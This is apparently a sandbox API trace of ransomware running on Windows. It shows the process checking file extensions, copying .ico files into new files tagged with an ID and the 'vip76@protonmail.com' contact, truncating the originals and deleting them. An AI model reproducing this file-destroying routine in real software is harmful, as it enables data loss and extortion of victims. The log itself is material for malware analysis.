	[0062.778] lstrlenW (lpString=".xlsx") returned 5
	[0062.778] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1
	[0062.778] lstrlenW (lpString=".ppt") returned 4
	[0062.778] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0062.778] lstrlenW (lpString=".zip") returned 4
	[0062.778] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.778] lstrlenW (lpString=".rar") returned 4
	[0062.778] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.778] lstrlenW (lpString=".bz2") returned 4
	[0062.778] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.778] lstrlenW (lpString=".7z") returned 3
	[0062.778] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0062.778] lstrlenW (lpString=".dbf") returned 4
	[0062.778] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0062.778] lstrlenW (lpString=".1cd") returned 4
	[0062.778] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0062.778] lstrlenW (lpString=".jpg") returned 4
	[0062.778] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0062.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0062.778] lstrlenW (lpString=".doc") returned 4
	[0062.778] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.778] lstrlenW (lpString=".docx") returned 5
	[0062.778] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1
	[0062.778] lstrlenW (lpString=".pdf") returned 4
	[0062.778] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.779] lstrlenW (lpString=".xls") returned 4
	[0062.779] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.779] lstrlenW (lpString=".xlsx") returned 5
	[0062.779] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1
	[0062.779] lstrlenW (lpString=".ppt") returned 4
	[0062.779] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0062.779] lstrlenW (lpString=".zip") returned 4
	[0062.779] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.779] lstrlenW (lpString=".rar") returned 4
	[0062.779] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.779] lstrlenW (lpString=".bz2") returned 4
	[0062.779] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.779] lstrlenW (lpString=".7z") returned 3
	[0062.779] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0062.779] lstrlenW (lpString=".dbf") returned 4
	[0062.779] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0062.779] lstrlenW (lpString=".1cd") returned 4
	[0062.779] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0062.779] lstrlenW (lpString=".jpg") returned 4
	[0062.779] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.779] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.779] lstrlenW (lpString="SysReqMet.ico") returned 13
	[0062.779] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.780] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1150) returned 1
	[0062.780] CloseHandle (hObject=0x2c0) returned 1
	[0062.780] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80
	[0062.780] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.780] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.780] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0062.781] GetLastError () returned 0x0
	[0062.781] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0062.782] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x480, lpOverlapped=0x0) returned 1
	[0062.783] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.783] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xee, lpOverlapped=0x0) returned 1
	[0062.783] SetEndOfFile (hFile=0x364) returned 1
	[0062.783] CloseHandle (hObject=0x364) returned 1
	[0062.784] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.784] SetEndOfFile (hFile=0x2c0) returned 1
	[0062.785] CloseHandle (hObject=0x2c0) returned 1
	[0062.785] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.785] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1
	[0062.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0062.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0062.786] lstrlenW (lpString=".doc") returned 4
	[0062.786] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.786] lstrlenW (lpString=".docx") returned 5
	[0062.786] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0062.786] lstrlenW (lpString=".pdf") returned 4
	[0062.786] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.786] lstrlenW (lpString=".xls") returned 4
	[0062.786] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.786] lstrlenW (lpString=".xlsx") returned 5
	[0062.786] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0062.786] lstrlenW (lpString=".ppt") returned 4
	[0062.786] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0062.786] lstrlenW (lpString=".zip") returned 4
	[0062.786] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.786] lstrlenW (lpString=".rar") returned 4
	[0062.786] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.786] lstrlenW (lpString=".bz2") returned 4
	[0062.786] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.786] lstrlenW (lpString=".7z") returned 3
	[0062.786] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0062.786] lstrlenW (lpString=".dbf") returned 4
	[0062.786] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0062.786] lstrlenW (lpString=".1cd") returned 4
	[0062.786] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0062.786] lstrlenW (lpString=".jpg") returned 4
	[0062.786] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0062.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0062.787] lstrlenW (lpString=".doc") returned 4
	[0062.787] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.787] lstrlenW (lpString=".docx") returned 5
	[0062.787] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0062.787] lstrlenW (lpString=".pdf") returned 4
	[0062.787] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.787] lstrlenW (lpString=".xls") returned 4
	[0062.787] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.787] lstrlenW (lpString=".xlsx") returned 5
	[0062.787] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0062.787] lstrlenW (lpString=".ppt") returned 4
	[0062.787] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0062.787] lstrlenW (lpString=".zip") returned 4
	[0062.787] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.787] lstrlenW (lpString=".rar") returned 4
	[0062.787] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.787] lstrlenW (lpString=".bz2") returned 4
	[0062.787] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.787] lstrlenW (lpString=".7z") returned 3
	[0062.787] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0062.787] lstrlenW (lpString=".dbf") returned 4
	[0062.787] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0062.787] lstrlenW (lpString=".1cd") returned 4
	[0062.787] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44
	[0062.787] lstrlenW (lpString=".jpg") returned 4
	[0062.788] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.788] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.788] lstrlenW (lpString="SysReqNotMet.ico") returned 16
	[0062.788] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.788] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1150) returned 1
	[0062.788] CloseHandle (hObject=0x2c0) returned 1
	[0062.788] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80
	[0062.788] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.788] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.788] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.788] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.789] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0062.793] GetLastError () returned 0x0
	[0062.793] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x47e, lpOverlapped=0x0) returned 1
	[0062.795] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x480, lpOverlapped=0x0) returned 1
	[0062.796] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.796] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0062.796] SetEndOfFile (hFile=0x364) returned 1
	[0062.796] CloseHandle (hObject=0x364) returned 1
	[0062.797] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.797] SetEndOfFile (hFile=0x2c0) returned 1
	[0062.798] CloseHandle (hObject=0x2c0) returned 1
	[0062.798] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.798] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1
	[0062.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0062.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0062.798] lstrlenW (lpString=".doc") returned 4
	[0062.798] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.798] lstrlenW (lpString=".docx") returned 5
	[0062.798] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0062.798] lstrlenW (lpString=".pdf") returned 4
	[0062.798] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.798] lstrlenW (lpString=".xls") returned 4
	[0062.799] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.799] lstrlenW (lpString=".xlsx") returned 5
	[0062.799] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0062.799] lstrlenW (lpString=".ppt") returned 4
	[0062.799] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0062.799] lstrlenW (lpString=".zip") returned 4
	[0062.799] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.799] lstrlenW (lpString=".rar") returned 4
	[0062.799] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.799] lstrlenW (lpString=".bz2") returned 4
	[0062.799] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.799] lstrlenW (lpString=".7z") returned 3
	[0062.799] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0062.799] lstrlenW (lpString=".dbf") returned 4
	[0062.799] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0062.799] lstrlenW (lpString=".1cd") returned 4
	[0062.799] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0062.799] lstrlenW (lpString=".jpg") returned 4
	[0062.799] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0062.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0062.799] lstrlenW (lpString=".doc") returned 4
	[0062.799] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.799] lstrlenW (lpString=".docx") returned 5
	[0062.799] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1
	[0062.799] lstrlenW (lpString=".pdf") returned 4
	[0062.799] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.799] lstrlenW (lpString=".xls") returned 4
	[0062.800] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.800] lstrlenW (lpString=".xlsx") returned 5
	[0062.800] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1
	[0062.800] lstrlenW (lpString=".ppt") returned 4
	[0062.800] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0062.800] lstrlenW (lpString=".zip") returned 4
	[0062.800] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.800] lstrlenW (lpString=".rar") returned 4
	[0062.800] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.800] lstrlenW (lpString=".bz2") returned 4
	[0062.800] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.800] lstrlenW (lpString=".7z") returned 3
	[0062.800] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0062.800] lstrlenW (lpString=".dbf") returned 4
	[0062.800] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0062.800] lstrlenW (lpString=".1cd") returned 4
	[0062.800] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47
	[0062.800] lstrlenW (lpString=".jpg") returned 4
	[0062.800] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.800] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.800] lstrlenW (lpString="warn.ico") returned 8
	[0062.800] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.801] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=10134) returned 1
	[0062.801] CloseHandle (hObject=0x2c0) returned 1
	[0062.801] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80
	[0062.801] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.801] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.801] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.801] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.801] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0062.801] GetLastError () returned 0x0
	[0062.801] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x2796, lpOverlapped=0x0) returned 1
	[0062.803] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x27a0, lpOverlapped=0x0) returned 1
	[0062.805] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.805] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.805] SetEndOfFile (hFile=0x364) returned 1
	[0062.805] CloseHandle (hObject=0x364) returned 1
	[0062.806] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.806] SetEndOfFile (hFile=0x2c0) returned 1
	[0062.807] CloseHandle (hObject=0x2c0) returned 1
	[0062.807] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.807] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1
	[0062.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0062.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0062.808] lstrlenW (lpString=".doc") returned 4
	[0062.808] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.808] lstrlenW (lpString=".docx") returned 5
	[0062.808] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0062.808] lstrlenW (lpString=".pdf") returned 4
	[0062.808] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.808] lstrlenW (lpString=".xls") returned 4
	[0062.808] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.808] lstrlenW (lpString=".xlsx") returned 5
	[0062.808] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0062.808] lstrlenW (lpString=".ppt") returned 4
	[0062.808] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0062.808] lstrlenW (lpString=".zip") returned 4
	[0062.808] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.808] lstrlenW (lpString=".rar") returned 4
	[0062.808] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.808] lstrlenW (lpString=".bz2") returned 4
	[0062.808] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.808] lstrlenW (lpString=".7z") returned 3
	[0062.808] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0062.808] lstrlenW (lpString=".dbf") returned 4
	[0062.808] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0062.808] lstrlenW (lpString=".1cd") returned 4
	[0062.808] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0062.808] lstrlenW (lpString=".jpg") returned 4
	[0062.808] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0062.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0062.809] lstrlenW (lpString=".doc") returned 4
	[0062.809] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.809] lstrlenW (lpString=".docx") returned 5
	[0062.809] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0062.809] lstrlenW (lpString=".pdf") returned 4
